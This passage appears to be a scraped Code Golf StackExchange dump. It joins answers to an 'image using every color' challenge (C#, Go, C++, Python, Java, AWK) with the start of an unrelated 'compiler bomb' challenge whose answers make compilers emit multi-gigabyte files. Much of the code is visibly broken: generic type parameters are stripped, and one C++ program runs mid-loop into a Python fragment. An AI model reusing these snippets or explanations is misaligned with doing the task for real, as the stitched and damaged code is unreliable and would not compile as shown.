Random(Guid.NewGuid().GetHashCode());\n var nextColor = colors[random.Next(colors.Count)];\n var pixels = new Color?[config.XLength, config.YLength];\n var currPixel = new Point(0, 0);\n var i = 0;\n //Since we've only generated exactly enough colors to fill our image we can remove them from the list as we add them to our image and stop when none are left.\n while (colors.Count > 0)\n {\n i++;\n //Set the current pixel and remove the color from the list.\n pixels[currPixel.X, currPixel.Y] = nextColor;\n colors.RemoveAt(colors.IndexOf(nextColor));\n //Our image generation works in an inward spiral generation GetNext point will retrieve the next pixel given the current top direction.\n var nextPixel = GetNextPoint(currPixel, directions.First());\n //If this next pixel were to be out of bounds (for first circle of spiral) or hit a previously generated pixel (for all other circles)\n //Then we need to cycle the direction and get a new next pixel\n if (nextPixel.X >= config.XLength || nextPixel.Y >= config.YLength || nextPixel.X < 0 || nextPixel.Y < 0 ||\n pixels[nextPixel.X, nextPixel.Y] != null)\n {\n var d = directions.First();\n directions.RemoveAt(0);\n directions.Add(d);\n nextPixel = GetNextPoint(currPixel, directions.First());\n }\n //This code sets the pixel to pick a color for and also gets the next color\n //We do this at the end of the loop so that we can also support haveing the first pixel set outside of the loop\n currPixel = nextPixel;\n if (colors.Count == 0) continue;\n var neighbours = GetNeighbours(currPixel, pixels, config);\n nextColor = colors.AsParallel().Aggregate((item1, item2) => GetAvgColorDiff(item1, neighbours) <\n GetAvgColorDiff(item2, neighbours)\n ? item1\n : item2);\n }\n return pixels;\n }\n public static void OutputBitmap(Color?[,] pixels, ColorGeneratorConfig config)\n {\n //Now that we have generated our image in the color array we need to copy it into a bitmap and save it to file.\n var image = new Bitmap(config.XLength, config.YLength);\n for (var x = 0; x < config.XLength; x++)\n for (var y = 0; y < config.YLength; y++)\n image.SetPixel(x, y, pixels[x, y].Value);\n using (var file = new FileStream($@\".\\{config.XLength}X{config.YLength}.png\", FileMode.Create))\n {\n image.Save(file, ImageFormat.Png);\n }\n }\n static Point GetNextPoint(Point current, Point direction)\n {\n return new Point(current.X + direction.X, current.Y + direction.Y);\n }\n static List GetNeighbours(Point current, Color?[,] grid, ColorGeneratorConfig config)\n {\n var list = new List();\n foreach (var direction in directions)\n {\n var xCoord = current.X + direction.X;\n var yCoord = current.Y + direction.Y;\n if (xCoord < 0 || xCoord >= config.XLength|| yCoord < 0 || yCoord >= config.YLength)\n {\n continue;\n }\n var cell = grid[xCoord, yCoord];\n if (cell.HasValue) list.Add(cell.Value);\n }\n return list;\n }\n static double GetAvgColorDiff(Color source, IList colors)\n {\n return colors.Average(color => GetColorDiff(source, color));\n }\n static int GetColorDiff(Color color1, Color color2)\n {\n var redDiff = Math.Abs(color1.R - color2.R);\n var greenDiff = Math.Abs(color1.G - color2.G);\n var blueDiff = Math.Abs(color1.B - color2.B);\n return redDiff + greenDiff + blueDiff;\n }\n }\n public class ColorGeneratorConfig\n {\n public int XLength { get; set; }\n public int YLength { get; set; }\n //Get the number of permutations for each color value base on the required number of pixels.\n public int NumOfSteps\n => (int)Math.Ceiling(Math.Pow((ulong)XLength * (ulong)YLength, 1.0 / ColorDimensions));\n //Calculate the increment for each step\n public int ColorStep\n => 255 / (NumOfSteps - 1);\n //Because NumOfSteps will either give the exact number of colors or more (never less) we will sometimes to to skip some\n //this calculation tells how many we need to skip\n public decimal StepsToSkip\n => Convert.ToDecimal(Math.Pow(NumOfSteps, ColorDimensions) - XLength * YLength);\n //This factor will be used to as evenly as possible spread out the colors to be skipped so there are no large gaps in the spectrum\n public decimal IterationFactor => StepsToSkip / Convert.ToDecimal(Math.Pow(NumOfSteps, ColorDimensions));\n private double ColorDimensions => 3.0;\n }\n public class TaskRunner\n {\n private Stopwatch _sw;\n public TaskRunner()\n {\n _sw = new Stopwatch();\n }\n public void Run(Action task, string taskName)\n {\n Console.WriteLine($\"Starting {taskName}...\");\n _sw.Start();\n task();\n _sw.Stop();\n Console.WriteLine($\"Finished {taskName}. Elapsed(ms): {_sw.ElapsedMilliseconds}\");\n Console.WriteLine();\n _sw.Reset();\n }\n public T Run(Func task, string taskName)\n {\n Console.WriteLine($\"Starting {taskName}...\");\n _sw.Start();\n var result = task();\n _sw.Stop();\n Console.WriteLine($\"Finished {taskName}. Elapsed(ms): {_sw.ElapsedMilliseconds}\");\n Console.WriteLine();\n _sw.Reset();\n return result;\n }\n }\n}\n```\n[Answer]\n# Go\nHere's another one from me, I think it gives more interesting results:\n```\npackage main\nimport (\n \"image\"\n \"image/color\"\n \"image/png\"\n \"os\"\n \"math\"\n \"math/rand\"\n)\nfunc distance(c1, c2 color.Color) float64 {\n r1, g1, b1, _ := c1.RGBA()\n r2, g2, b2, _ := c2.RGBA()\n rd, gd, bd := int(r1)-int(r2), int(g1)-int(g2), int(b1)-int(b2)\n return math.Sqrt(float64(rd*rd + gd*gd + bd*bd))\n}\nfunc main() {\n allcolor := image.NewRGBA(image.Rect(0, 0, 256, 128))\n for y := 0; y < 128; y++ {\n for x := 0; x < 256; x++ {\n allcolor.Set(x, y, color.RGBA{uint8(x%32) * 8, uint8(y%32) * 8, uint8(x/32+(y/32*8)) * 8, 255})\n }\n }\n for y := 0; y < 128; y++ {\n for x := 0; x < 256; x++ {\n rx, ry := rand.Intn(256), rand.Intn(128)\n c1, c2 := allcolor.At(x, y), allcolor.At(rx, ry)\n allcolor.Set(x, y, c2)\n allcolor.Set(rx, ry, c1)\n }\n }\n for i := 0; i < 16384; i++ {\n for y := 0; y < 128; y++ {\n for x := 0; x < 256; x++ {\n xl, xr := (x+255)%256, (x+1)%256\n cl, c, cr := allcolor.At(xl, y), allcolor.At(x, y), allcolor.At(xr, y)\n dl, dr := distance(cl, c), distance(c, cr)\n if dl < dr {\n allcolor.Set(xl, y, c)\n allcolor.Set(x, y, cl)\n }\n yu, yd := (y+127)%128, (y+1)%128\n cu, c, cd := allcolor.At(x, yu), allcolor.At(x, y), allcolor.At(x, yd)\n du, dd := distance(cu, c), distance(c, cd)\n if du < dd {\n allcolor.Set(x, yu, c)\n allcolor.Set(x, y, cu)\n }\n }\n }\n }\n filep, err := os.Create(\"EveryColor.png\")\n if err != nil {\n panic(err)\n }\n err = png.Encode(filep, allcolor)\n if err != nil {\n panic(err)\n }\n filep.Close()\n}\n```\nIt starts with the same pattern as the gif in [my other answer](https://codegolf.stackexchange.com/a/22368/17601). Then, it shuffles it into this:\n![just noise](https://i.stack.imgur.com/y5Khh.png)\nThe more iterations I run the rather uninspired neighbor-comparison algorithm, the more apparent the rainbow pattern becomes.\nHere's 16384:\n![a very noisy rainbow at 16384 iterations](https://i.stack.imgur.com/bmJ59.png)\nAnd 65536:\n![enter image description here](https://i.stack.imgur.com/vrKgn.png)\n[Answer]\nThese images are \"Langton's Rainbow\". They're drawn rather simply: as Langton's ant moves about, a color is drawn on each pixel the first time that pixel is visitted. The color to draw next is then simply incremented by 1, ensuring that 2^15 colors are used, one for each pixel.\n**EDIT:**\nI made a version which renders 4096X4096 images, using 2^24 colors. The colors are also 'reflected' so they make nice, smooth gradients. I'll only provide links to them since they're huge (>28 MB)\n[Langton's Rainbow large, rule LR](https://dl.dropboxusercontent.com/u/3236504/LangtonsRainbow/LangtonsRainbow_8bpp_Reflect_LR.png)\n[Langton's Rainbow large, rule LLRR](https://dl.dropboxusercontent.com/u/3236504/LangtonsRainbow/LangtonsRainbow_8bpp_Reflect_LLRR.png)\n*//End of edit.*\nThis for the classic LR rule set:\n[![Langton's Rainbow LR](https://i.stack.imgur.com/eUkV2.png)](https://i.stack.imgur.com/eUkV2.png)\nHere is LLRR:\n[![Langton's Rainbow LLRR](https://i.stack.imgur.com/MhWMO.png)](https://i.stack.imgur.com/MhWMO.png)\nFinally, this one uses the LRRRRRLLR ruleset:\n[![Langton's Rainbow LRRRRRLLR](https://i.stack.imgur.com/nLqvd.png)](https://i.stack.imgur.com/nLqvd.png)\nWritten in C++, using CImg for graphics.\nI should also mention how the colors were selected: First, I use an unsigned short to contain the RGB color data. Every time a cell is first visitted, I right shift the bits by some multiple of 5, AND by 31, then multiply by 8. Then the unsigned short color is incremented by 1. This produces values from 0 to 248 at most. However, I've subtract this value *from* 255 in the red and blue components, therefore R and B are in multiples of 8, starting from 255, down to 7:\n```\nc[0]=255-((color&0x1F)*8);\nc[2]=255-(((color>>5)&0x1F)*8);\nc[1]=(((color>>10)&0x1F)*8);\n```\nHowever, this doesn't apply to the green component, which is in multiples of 8 from 0 to 248. In any case, each pixel should contain a unique color.\nAnyways, source code is below:\n```\n#include \"CImg.h\"\nusing namespace cimg_library;\nCImgDisplay screen;\nCImg surf;\n#define WIDTH 256\n#define HEIGHT 128\n#define TOTAL WIDTH*HEIGHT\nchar board[WIDTH][HEIGHT];\nclass ant\n{\n public:\n int x,y;\n char d;\n unsigned short color;\n void init(int X, int Y,char D)\n {\n x=X;y=Y;d=D;\n color=0;\n }\n void turn()\n {\n ///Have to hard code for the rule set here.\n ///Make sure to set RULECOUNT to the number of rules!\n #define RULECOUNT 9\n //LRRRRRLLR\n char get=board[x][y];\n if(get==0||get==6||get==7){d+=1;}\n else{d-=1;}\n if(d<0){d=3;}\n else if(d>3){d=0;}\n }\n void forward()\n {\n if(d==0){x++;}\n else if(d==1){y--;}\n else if(d==2){x--;}\n else {y++;}\n if(x<0){x=WIDTH-1;}\n else if(x>=WIDTH){x=0;}\n if(y<0){y=HEIGHT-1;}\n else if(y>=HEIGHT){y=0;}\n }\n void draw()\n {\n if(board[x][y]==-1)\n {\n board[x][y]=0;\n unsigned char c[3];\n c[0]=255-((color&0x1F)*8);\n c[2]=255-(((color>>5)&0x1F)*8);\n c[1]=(((color>>10)&0x1F)*8);\n surf.draw_point(x,y,c);\n color++;\n }\n board[x][y]++;\n if(board[x][y]==RULECOUNT){board[x][y]=0;}\n }\n void step()\n {\n draw();\n turn();\n forward();\n }\n};\nvoid renderboard()\n{\n unsigned char white[]={200,190,180};\n surf.draw_rectangle(0,0,WIDTH,HEIGHT,white);\n for(int x=0;x> 10, (x >> 5) & 31, x & 31) for x in range(32768)]\ncolors = [(x[0] << 3, x[1] << 3, x[2] << 3) for x in colors]\ncolors.sort(key=lambda x: x[0] * 0.2126 + x[1] * 0.7152 + x[2] * 0.0722)\ndef get_pixel(lum):\n for i in range(len(colors)):\n c = colors[i]\n if c[0] * 0.2126 + c[1] * 0.7152 + c[2] * 0.0722 > lum:\n break\n return colors.pop(i)\ndef plasma(x, y):\n x -= WIDTH / 2\n p = sin(pi * x / (32 + 10 * sin(y * pi / 32)))\n p *= cos(pi * y / 64)\n return 128 + 127 * p\nxy = []\nfor x in range(WIDTH):\n for y in range(HEIGHT):\n xy.append((x, y))\nrandom.shuffle(xy)\ncount = 0\nfor x, y in xy:\n l = int(plasma(x, y))\n img.putpixel((x, y), get_pixel(plasma(x, y)))\n count += 1\n if not count & 255:\n print \"%d pixels rendered\" % count\nimg.save(\"test.png\")\n```\n[Answer]\n# Java\n```\nimport java.awt.Point;\nimport java.awt.image.BufferedImage;\nimport java.io.File;\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.logging.Level;\nimport java.util.logging.Logger;\nimport javax.imageio.ImageIO;\n/**\n *\n * @author Quincunx\n */\npublic class AllColorImage {\n public static void main(String[] args) {\n BufferedImage img = new BufferedImage(4096, 4096, BufferedImage.TYPE_INT_RGB);\n int num = 0;\n ArrayList points = new ArrayList<>();\n for (int y = 0; y < 4096; y++) {\n for (int x = 0; x < 4096 ; x++) {\n points.add(new Point(x, y));\n }\n }\n for (Point p : points) {\n int x = p.x;\n int y = p.y;\n img.setRGB(x, y, num);\n num++;\n }\n try {\n ImageIO.write(img, \"png\", new File(\"Filepath\"));\n } catch (IOException ex) {\n Logger.getLogger(AllColorImage.class.getName()).log(Level.SEVERE, null, ex);\n }\n }\n}\n```\nI went for 4096 by 4096 because I couldn't figure out how to get all the colors without doing so.\nOutput:\nToo big to fit here. This is a screenshot:\n![enter image description here](https://i.stack.imgur.com/UkkHN.png)\nWith a little change, we can get a more beautiful picture:\nAdd `Collections.shuffle(points, new Random(0));` between generating the points and doing the colors:\n```\nimport java.awt.Point;\nimport java.awt.image.BufferedImage;\nimport java.io.File;\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.Random;\nimport java.util.logging.Level;\nimport java.util.logging.Logger;\nimport javax.imageio.ImageIO;\n/**\n *\n * @author Quincunx\n */\npublic class AllColorImage {\n public static void main(String[] args) {\n BufferedImage img = new BufferedImage(4096, 4096, BufferedImage.TYPE_INT_RGB);\n int num = 0;\n ArrayList points = new ArrayList<>();\n for (int y = 0; y < 4096; y++) {\n for (int x = 0; x < 4096 ; x++) {\n points.add(new Point(x, y));\n }\n }\n Collections.shuffle(points, new Random(0));\n for (Point p : points) {\n int x = p.x;\n int y = p.y;\n img.setRGB(x, y, num);\n num++;\n }\n try {\n ImageIO.write(img, \"png\", new File(\"Filepath\"));\n } catch (IOException ex) {\n Logger.getLogger(AllColorImage.class.getName()).log(Level.SEVERE, null, ex);\n }\n }\n}\n```\n![enter image description here](https://i.stack.imgur.com/62Flm.jpg)\nCloseup:\n![enter image description here](https://i.stack.imgur.com/kc1J8.png)\n[Answer]\n# C++11\n(*Update:* only afterwards did I notice that [a similar approach](https://codegolf.stackexchange.com/a/22636/17698) has already been tried --- with more patience with regards to the number of iterations.)\nFor each pixel, I define a set of neighbor pixels. I define the discrepancy between two pixels to be the sum of squares of their R/G/B differences. The penalty of a given pixel is then the sum of the discrepancies between the pixel and its neighbors.\nNow, I first generate a random permutation, then start picking random pairs of pixels. If swapping the two pixels reduces the sum of the total penalties of all pixels, the swap goes through. I repeat this for a million times.\nThe output is in the PPM format, which I have converted into PNG using standard utilities.\nSource:\n```\n#include \n#include \n#include \n#include \nstatic std::mt19937 rng;\nclass Pixel\n{\npublic:\n int r, g, b;\n Pixel() : r(0), g(0), b(0) {}\n Pixel(int r, int g, int b) : r(r), g(g), b(b) {}\n void swap(Pixel& p)\n {\n int r = this->r, g = this->g, b = this->b;\n this->r = p.r; this->g = p.g; this->b = p.b;\n p.r = r; p.g = g; p.b = b;\n }\n};\nclass Image\n{\npublic:\n static const int width = 256;\n static const int height = 128;\n static const int step = 32;\n Pixel pixel[width*height];\n int penalty[width*height];\n std::vector** neighbors;\n Image()\n {\n if (step*step*step != width*height)\n {\n std::cerr << \"parameter mismatch\" << std::endl;\n exit(EXIT_FAILURE);\n }\n neighbors = new std::vector*[width*height];\n for (int i = 0; i < width*height; i++)\n {\n penalty[i] = -1;\n neighbors[i] = pixelNeighbors(i);\n }\n int i = 0;\n for (int r = 0; r < step; r++)\n for (int g = 0; g < step; g++)\n for (int b = 0; b < step; b++)\n {\n pixel[i].r = r * 255 / (step-1);\n pixel[i].g = g * 255 / (step-1);\n pixel[i].b = b * 255 / (step-1);\n i++;\n }\n }\n ~Image()\n {\n for (int i = 0; i < width*height; i++)\n {\n delete neighbors[i];\n }\n delete [] neighbors;\n }\n std::vector* pixelNeighbors(const int pi)\n {\n // 01: X-shaped structure\n //const int iRad = 7, jRad = 7;\n //auto condition = [](int i, int j) { return abs(i) == abs(j); };\n //\n // 02: boring blobs\n //const int iRad = 7, jRad = 7;\n //auto condition = [](int i, int j) { return true; };\n //\n // 03: cross-shaped\n //const int iRad = 7, jRad = 7;\n //auto condition = [](int i, int j) { return i==0 || j == 0; };\n //\n // 04: stripes\n const int iRad = 1, jRad = 5;\n auto condition = [](int i, int j) { return i==0 || j == 0; };\n std::vector* v = new std::vector;\n int x = pi % width;\n int y = pi / width;\n for (int i = -iRad; i <= iRad; i++)\n for (int j = -jRad; j <= jRad; j++)\n {\n if (!condition(i,j))\n continue;\n int xx = x + i;\n int yy = y + j;\n if (xx < 0 || xx >= width || yy < 0 || yy >= height)\n continue;\n v->push_back(xx + yy*width);\n }\n return v;\n }\n void shuffle()\n {\n for (int i = 0; i < width*height; i++)\n {\n std::uniform_int_distribution dist(i, width*height - 1);\n int j = dist(rng);\n pixel[i].swap(pixel[j]);\n }\n }\n void writePPM(const char* filename)\n {\n std::ofstream fd;\n fd.open(filename);\n if (!fd.is_open())\n {\n std::cerr << \"failed to open file \" << filename\n << \"for writing\" << std::endl;\n exit(EXIT_FAILURE);\n }\n fd << \"P3\\n\" << width << \" \" << height << \"\\n255\\n\";\n for (int i = 0; i < width*height; i++)\n {\n fd << pixel[i].r << \" \" << pixel[i].g << \" \" << pixel[i].b << \"\\n\";\n }\n fd.close();\n }\n void updatePixelNeighborhoodPenalty(const int pi)\n {\n for (auto j : *neighbors[pi])\n updatePixelPenalty(j);\n }\n void updatePixelPenalty(const int pi)\n {\n auto pow2 = [](int x) { return x*x; };\n int pen = 0;\n Pixel* p1 = &pixel[pi];\n for (auto j : *neighbors[pi])\n {\n Pixel* p2 = &pixel[j];\n pen += pow2(p1->r - p2->r) + pow2(p1->g - p2->g) + pow2(p1->b - p2->b);\n }\n penalty[pi] = pen / neighbors[pi]->size();\n }\n int getPixelPenalty(const int pi)\n {\n if (penalty[pi] == (-1))\n {\n updatePixelPenalty(pi);\n }\n return penalty[pi];\n }\n int getPixelNeighborhoodPenalty(const int pi)\n {\n int sum = 0;\n for (auto j : *neighbors[pi])\n {\n sum += getPixelPenalty(j);\n }\n return sum;\n }\n void iterate()\n {\n std::uniform_int_distribution dist(0, width*height - 1); \n int i = dist(rng);\n int j = dist(rng);\n int sumBefore = getPixelNeighborhoodPenalty(i)\n + getPixelNeighborhoodPenalty(j);\n int oldPenalty[width*height];\n std::copy(std::begin(penalty), std::end(penalty), std::begin(oldPenalty));\n pixel[i].swap(pixel[j]);\n updatePixelNeighborhoodPenalty(i);\n updatePixelNeighborhoodPenalty(j);\n int sumAfter = getPixelNeighborhoodPenalty(i)\n + getPixelNeighborhoodPenalty(j);\n if (sumAfter > sumBefore)\n {\n // undo the change\n pixel[i].swap(pixel[j]);\n std::copy(std::begin(oldPenalty), std::end(oldPenalty), std::begin(penalty));\n }\n }\n};\nint main(int argc, char* argv[])\n{\n int seed;\n if (argc >= 2)\n {\n seed = atoi(argv[1]);\n }\n else\n {\n std::random_device rd;\n seed = rd();\n }\n std::cout << \"seed = \" << seed << std::endl;\n rng.seed(seed);\n const int numIters = 1000000;\n const int progressUpdIvl = numIters / 100;\n Image img;\n img.shuffle();\n for (int i = 0; i < numIters; i++)\n {\n img.iterate();\n if (i % progressUpdIvl == 0)\n {\n std::cout << \"\\r\" << 100 * i / numIters << \"%\";\n std::flush(std::cout);\n }\n }\n std::cout << \"\\rfinished!\" << std::endl;\n img.writePPM(\"AllColors2.ppm\");\n return EXIT_SUCCESS;\n}\n```\nVarying the step of neighbors gives different results. This can be tweaked in the function Image::pixelNeighbors(). The code includes examples for four options: (see source)\n![example 01](https://i.stack.imgur.com/w6V7b.png)\n![example 02](https://i.stack.imgur.com/E7GWQ.png)\n![example 03](https://i.stack.imgur.com/7vl41.png)\n![example 04](https://i.stack.imgur.com/79jXO.png)\n*Edit:* another example similar to the fourth one above but with a bigger kernel and more iterations:\n![example 05](https://i.stack.imgur.com/PSKyx.png)\n*One more:* using\n```\nconst int iRad = 7, jRad = 7;\nauto condition = [](int i, int j) { return (i % 2==0 && j % 2==0); };\n```\nand ten million iterations, I got this:\n![example 06](https://i.stack.imgur.com/1iTja.png)\n[Answer]\n# AWK and friends.\n## Look mom! I've shaken the colors away!\nThe 'x' file:\n```\nBEGIN {\n N=5\n C=2^N\n print \"P3\\n\"2^(3*N-int(3*N/2))\" \"2^int(3*N/2)\"\\n\"C-1\n for(x=0;x x.ppm\n```\nOutput:\nN=5:\n![N=5.png](https://i.stack.imgur.com/GLRYW.png)\nN=6:\n![N=6.png](https://i.stack.imgur.com/GOAeR.png)\n[Answer]\nNot the most elegant code, but interesting on two counts: Computing the number of colors from the dimensions (as long as the product of dimensions is a power of two), and doing trippy color space stuff:\n```\nvoid Main()\n{\n var width = 256;\n var height = 128;\n var colorCount = Math.Log(width*height,2);\n var bitsPerChannel = colorCount / 3;\n var channelValues = Math.Pow(2,bitsPerChannel);\n var channelStep = (int)(256/channelValues);\n var colors = new List();\n var m1 = new double[,] {{0.6068909,0.1735011,0.2003480},{0.2989164,0.5865990,0.1144845},{0.00,0.0660957,1.1162243}};\n for(var r=0;r<255;r+=channelStep)\n for(var g=0;g<255;g+=channelStep)\n for(var b=0;b<255;b+=channelStep) \n {\n colors.Add(Color.FromArgb(0,r,g,b));\n }\n var sortedColors = colors.Select((c,i)=>\n ToLookupTuple(MatrixProduct(m1,new[]{c.R/255d,c.G/255d,c.B/255d}),i))\n .Select(t=>new\n {\n x = (t.Item1==0 && t.Item2==0 && t.Item3==0) ? 0 : t.Item1/(t.Item1+t.Item2+t.Item3),\n y = (t.Item1==0 && t.Item2==0 && t.Item3==0) ? 0 :t.Item2/(t.Item1+t.Item2+t.Item3),\n z = (t.Item1==0 && t.Item2==0 && t.Item3==0) ? 0 :t.Item3/(t.Item1+t.Item2+t.Item3),\n Y = t.Item2,\n i = t.Item4\n })\n .OrderBy(t=>t.x).Select(t=>t.i).ToList();\n if(sortedColors.Count != (width*height))\n {\n throw new Exception(string.Format(\"Some colors fell on the floor: {0}/{1}\",sortedColors.Count,(width*height)));\n }\n using(var bmp = new Bitmap(width,height,PixelFormat.Format24bppRgb))\n {\n for(var i=0;iToLookupTuple(double[] t, int index)\n{\n return new Tuple(t[0],t[1],t[2],index);\n}\npublic static double[] MatrixProduct(double[,] matrixA,\n double[] vectorB)\n{\n double[] result=new double[3];\n for (int i=0; i<3; ++i) // each row of A\n for (int k=0; k<3; ++k)\n result[i]+=matrixA[i,k]*vectorB[k];\n return result;\n}\n```\nSome interesting variations can be had just by changing the OrderBy clause:\nx:\n> \n> ![enter image description here](https://i.stack.imgur.com/spFVA.png)\n> \n> \n> \ny:\n> \n> ![enter image description here](https://i.stack.imgur.com/oQwri.png)\n> \n> \n> \nz:\n> \n> ![enter image description here](https://i.stack.imgur.com/mWLbo.png)\n> \n> \n> \nY:\n> \n> ![enter image description here](https://i.stack.imgur.com/B2aLs.png)\n> \n> \n> \nI wish I could figure out what was causing the odd lines in the first three\n]"}}},{"rowIdx":6,"cells":{"text":{"kind":"string","value":"[Question]\n [\n# Introduction\nYou're probably familiar with [zip bombs](https://en.wikipedia.org/wiki/Zip_bomb), [XML bombs](https://en.wikipedia.org/wiki/Billion_laughs), etc. Put simply, they are (relatively) small files which produce enormous output when interpreted by naïve software. The challenge here is to abuse a compiler in the same way.\n# Challenge\nWrite some source code which occupies 512 bytes or less and which compiles into a file which occupies the most possible space. Largest output file wins!\n# Rules\nOK, so there are a few important clarifications, definitions and restrictions;\n* The output of the compilation must be an [ELF](https://en.wikipedia.org/wiki/Executable_and_Linkable_Format) file, a Windows Portable Executable (.exe), or virtual bytecode for the JVM or .Net's CLR (other types of virtual bytecode are also likely to be OK if asked for). **Update: Python's .pyc / .pyo output also counts**.\n* If your language-of-choice can't be compiled directly into one of those formats, transpilation followed by compilation is also allowed (**Update: you can transpile multiple times, just so long as you never use the same language more than once**).\n* Your source code can consist of multiple files, and even resource files, but the summed size of all these files must not exceed 512 bytes.\n* You cannot use any other input than your source file(s) and the standard library of your language-of-choice. Static linking standard libraries is OK when it's supported. Specifically, no third party libraries or OS libraries.\n* It must be possible to invoke your compilation using a command or series of commands. If you require specific flags when compiling, these *count towards your byte limit* (e.g. if your compile line is `gcc bomb.c -o bomb -O3 -lm`, the `-O3 -lm` part (7 bytes) will be counted (note the initial leading space isn't counted).\n* Preprocessors are permitted *only if* they are a standard compilation option for your language.\n* The environment is up to you, but in the interests of making this verifiable, please stick to recent (i.e. available) compiler versions and operating systems (and obviously specify which you're using).\n* It must compile without errors (warnings are OK), and crashing the compiler doesn't count for anything.\n* What your program actually *does* is irrelevant, though it can't be anything malicious. It doesn't even have to be able to start.\n# Example 1\nThe C program\n```\nmain(){return 1;}\n```\nCompiled with `Apple LLVM version 7.0.2 (clang-700.1.81)` on OS X 10.11 (64-bit):\n```\nclang bomb.c -o bomb -pg\n```\nProduces a file of 9228 bytes. The total source size is 17+3 (for the `-pg`) = 20 bytes, which is easily within size limit.\n# Example 2\nThe Brainfuck program:\n```\n++++++[->++++++++++++<]>.----[--<+++>]<-.+++++++..+++.[--->+<]>-----.--\n-[-<+++>]<.---[--->++++<]>-.+++.------.--------.-[---<+>]<.[--->+<]>-.\n```\nTranspiled with [awib](https://github.com/matslina/awib) to c with:\n```\n./awib < bomb.bf > bomb.c\n```\nThen compiled with `Apple LLVM version 7.0.2 (clang-700.1.81)` on OS X 10.11 (64-bit):\n```\nclang bomb.c\n```\nProduces a file of 8464 bytes. The total input here is 143 bytes (since `@lang_c` is the default for awib it didn't need to be added to the source file, and there are no special flags on either command).\nAlso note that in this case, the temporary bomb.c file is 802 bytes, but this counts towards neither the source size nor the output size.\n# Final Note\nIf an output of more than 4GB is achieved (perhaps if somebody finds a turing complete preprocessor), the competition will be for the *smallest source* which produces a file of at least that size (it's just not practical to test submissions which get *too* big).\n \n[Answer]\n# C, (14 + 15) = 29 byte source, 17,179,875,837 (16 GB) byte executable\nThanks to @viraptor for 6 bytes off.\nThanks to @hvd for 2 bytes off and executable size x4.\nThis defines the `main` function as a large array and initialises its first element. This causes GCC to store the entire array in the resulting executable.\nBecause this array is bigger than 2GB, we need to provide the `-mcmodel=medium` flag to GCC. The extra 15 bytes are included in the score, as per the rules.\n```\nmain[-1u]={1};\n```\nDon't expect this code to do anything nice when run.\nCompile with:\n```\ngcc -mcmodel=medium cbomb.c -o cbomb\n```\n---\nIt took me a while to get round to testing @hvd's suggestion - and to find a machine with enough juice to handle it. Eventually I found a old non-production RedHat 5.6 VM with 10GB RAM, 12GB swap, and /tmp set to a large local partition. GCC version is 4.1.2. Total compile time about 27 minutes.\n> \n> **Due to the CPU and RAM load, I recommend against doing this compile on any remotely production-related machine**.\n> \n> \n> \n[Answer]\n# Python 3, 13 byte source, 9,057,900,463 byte (8.5GiB) .pyc-file\n```\n(1<<19**8,)*2\n```\n**Edit**: Changed the code to the version above after I realized the rules say output size beyond 4GiB doesn't matter, and the code for this one is ever so slightly shorter; The previous code - and more importantly the explanation - can be found below.\n---\n# Python 3, 16 byte source, >32TB .pyc-file (if you have enough memory, disk space and patience)\n```\n(1<<19**8,)*4**7\n```\nExplanation: Python 3 does constant folding, and you get big numbers fast with exponentation. The format used by .pyc files stores the length of the integer representation using 4 bytes, though, and in reality the limit seems to be more like `2**31`, so using just exponentation to generate one big number, the limit seems to be generating a 2GB .pyc file from an 8 byte source. (`19**8` is a bit shy of `8*2**31`, so `1<<19**8` has a binary representation just under 2GB; the multiplication by eight is because we want bytes, not bits)\nHowever, tuples are also immutable and multiplying a tuple is also constant folded, so we can duplicate that 2GB blob as many times as we want, up to at least `2**31` times, probably. The `4**7` to get to 32TB was chosen just because it was the first exponent I could find that beat the previous 16TB answer.\nUnfortunately, with the memory I have on my own computer, I could test this only up to a multiplier of 2, ie. `(1<<19**8,)*2`, which generated a 8.5GB file, which I hope demonstrates that the answer is realistic (ie. the file size isn't limited to 2\\*\\*32=4GB).\nAlso, I have no idea why the file size I got when testing was 8.5GB instead of the 4GB-ish I expected, and the file is big enough that I don't feel like poking around it at the moment.\n[Answer]\n# C#, about 1 min to compile, 28MB output binary:\n```\nclass X{class Y:X{Y.Y.Y.Y.Y.Y.Y.Y.Y y;}}\n```\nAdding more Y's will increase the size exponentially.\nAn explanation by Pharap as per @Odomontois' request:\nThis answer is abusing inheritance and type parameters to create recursion. To understand what's happening, it's easier to first simplify the problem. Consider `class X { class Y : X { Y y; } }`, which generates the generic class `X`, which has an inner class `Y`. `X.Y` inherits `X`, hence `X.Y` also has an inner class `Y`, which is then `X.Y.Y`. This then also has an inner class `Y`, and that inner class `Y` has an inner class `Y` etc. This means that you can use scope resolution (`.`) ad infinitum, and every time you use it, the compiler has to deduce another level of inheritance and type parameterisation.\nBy adding additional type parameters, the work the compiler has to do at each stage is further increased.\nConsider the following cases: \nIn `class X { class Y : X { Y y;} }` type param `A` has a type of `X.Y`. \nIn `class X { class Y : X { Y.Y y;} }` type param `A` has a type of `X.Y>.Y`. \nIn `class X { class Y : X { Y.Y.Y y;} }` type param `A` has a type of `X.Y>.Y>.Y`. \nIn `class X { class Y : X { Y y;} }` type param `A` is `X.Y` and `B` is `X.Y`. \nIn `class X { class Y : X { Y.Y y;} }` type param `A` is `X.Y, X.Y>.Y` and `B` is `X.Y, X.Y>.Y`. \nIn `class X { class Y : X { Y.Y.Y y;} }` type param `A` is `X.Y, X.Y>.Y, X.Y, X.Y>.Y>.Y` and `B` is `X.Y, X.Y>.Y, X.Y, X.Y>.Y>.Y`.\nFollowing this pattern, one can only imagine1 the work the compiler would have to do to to deduce what `A` to `E` are in `Y.Y.Y.Y.Y.Y.Y.Y.Y` in the definition `class X{class Y:X{Y.Y.Y.Y.Y.Y.Y.Y.Y y;}}`.\n1 You could figure it out, but you'd need a lot of patience, and intellisense won't help you out here.\n[Answer]\n> \n> If an output of more than 4GB is achieved (perhaps if somebody finds a turing complete preprocessor), the competition will be for the smallest source which produces a file of at least that size (it's just not practical to test submissions which get too big).\n> \n> \n> \n\"Template Haskell\" allows Haskell code to be generated at compile-time using Haskell, and is hence a turing complete pre-processor.\nHere's my attempt, parameterised by an arbitrary numerical expression `FOO`:\n```\nimport Language.Haskell.TH;main=print $(ListE .replicate FOO<$>[|0|])\n```\nThe magic is the code inside the \"splice\" `$(...)`. This will be executed at compile time, to generate a Haskell AST, which is grafted on to the program's AST in place of the splice.\nIn this case, we make a simple AST representing the literal `0`, we replicate this `FOO` times to make a list, then we use `ListE` from the `Language.Haskell.TH` module to turn this list of ASTs into one big AST, representing the literal `[0, 0, 0, 0, 0, ...]`.\nThe resulting program is equivalent to `main = print [0, 0, 